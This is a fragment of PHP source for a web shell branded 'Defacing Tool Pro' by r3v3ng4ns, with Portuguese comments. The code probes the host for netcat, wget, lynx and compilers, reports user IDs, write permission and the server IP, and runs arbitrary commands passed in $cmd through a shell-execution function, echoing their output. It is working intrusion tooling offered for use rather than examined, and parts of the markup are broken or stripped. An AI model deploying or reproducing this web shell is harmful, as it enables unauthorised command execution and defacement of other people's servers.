X11 at /usr/X11R6/, ";//procura a pasta do x11 if (@file_exists("/usr/X11R6/bin/xterm")) $pro1="xterm at /usr/X11R6/bin/xterm, ";//procura o xterm if (@file_exists("/usr/bin/nc")) $pro2="nc at /usr/bin/nc, ";//procura o netcat if (@file_exists("/usr/bin/wget")) $pro3="wget at /usr/bin/wget, ";//procura o wget if (@file_exists("/usr/bin/lynx")) $pro4="lynx at /usr/bin/lynx, ";//procura o lynx if (@file_exists("/usr/bin/gcc")) $pro5="gcc at /usr/bin/gcc, ";//procura o gcc if (@file_exists("/usr/bin/cc")) $pro6="cc at /usr/bin/cc ";//procura o cc $pro=$pro0.$pro1.$pro2.$pro3.$pro4.$pro5.$pro6;//junta tudo numa variavel $ip=@gethostbyname($_SERVER['HTTP_HOST']);//mostra o ip do usuario //arqui, se a $cmd tiver o comando 'ls', adiciona-se o parametro '-F' aa 'ls', deixando //'ls -F', mas procura-se manter os outros parametros que o usuario deixou para o ls. //par isso definiu o $cmdshow lah em cima, isso aqui o usuario nao sabe. o parametro //'-F' no ls facilita a visualizacao dos arquivos. if(strpos($cmd, 'ls --') !==false){ $cmd = str_replace('ls --', 'ls -F --', $cmd);} else if(strpos($cmd, 'ls -') !==false){ $cmd = str_replace('ls -', 'ls -F', $cmd);} else if(strpos($cmd, ';ls') !==false){ $cmd = str_replace(';ls', ';ls -F', $cmd);} else if(strpos($cmd, '; ls') !==false){ $cmd = str_replace('; ls', ';ls -F', $cmd);} else if($cmd=='ls'){$cmd = "ls -F";} //se houverem '//' no $chdir, aki sao removidas if(strpos($chdir, '//') !==false) $chdir = str_replace('//', '/', $chdir); ?>
[ Defacing Tool Pro v ] ?
by r3v3ng4ns - revengans@hotmail.com
:
user: uid() euid() gid()
write permission:YES"; }else{ echo " no"; } ?>
server info:
pro info: ip
original path:
current path:
command
&1') $fe("$cmd 2>&1"); $output=ob_get_contents();ob_end_clean(); ?>

stdOut from $cmdshow\", using $feshow()";?>